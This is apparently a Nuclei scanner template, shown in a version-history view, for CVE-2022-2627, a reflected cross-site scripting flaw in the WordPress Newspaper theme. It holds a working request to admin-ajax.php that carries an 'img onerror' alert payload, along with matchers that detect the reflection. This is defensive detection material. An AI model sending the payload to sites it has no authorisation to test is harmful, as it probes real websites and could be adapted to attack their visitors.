2022-11-18 23:06:23 +00:00
id : CVE-2022-2627
info :
2022-11-20 12:33:17 +00:00
name : Newspaper < 12 - Cross-Site Scripting
2022-11-18 23:06:23 +00:00
author : ramondunker
severity : medium
2022-11-20 12:33:17 +00:00
description : |
The theme Newspaper does not sanitise a parameter before outputting it back in an HTML attribute via an AJAX action, leading to a Reflected Cross-Site Scripting.
reference :
- https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
2023-03-28 13:46:04 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-2627
2022-11-18 23:06:23 +00:00
classification :
2022-11-20 12:33:17 +00:00
cve-id : CVE-2022-2627
2023-03-28 13:46:04 +00:00
tags : cve,cve2022,xss,wordpress,wp,wp-theme,newspaper
2022-11-18 23:06:23 +00:00
requests :
2022-11-20 12:33:17 +00:00
- raw :
- |
POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/2
Host : {{Hostname}}
2022-11-18 23:06:23 +00:00
2023-03-28 13:46:04 +00:00
action=td_ajax_search&td_string=tej2j1q%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3emvufr
2022-11-18 23:06:23 +00:00
2022-11-20 12:33:17 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-03-28 13:46:04 +00:00
- '<img src=x onerror=alert(document.domain)>'
- '/newspaper'
condition : and
case-insensitive : true
2022-11-20 12:33:17 +00:00
- type : status
status :
- 200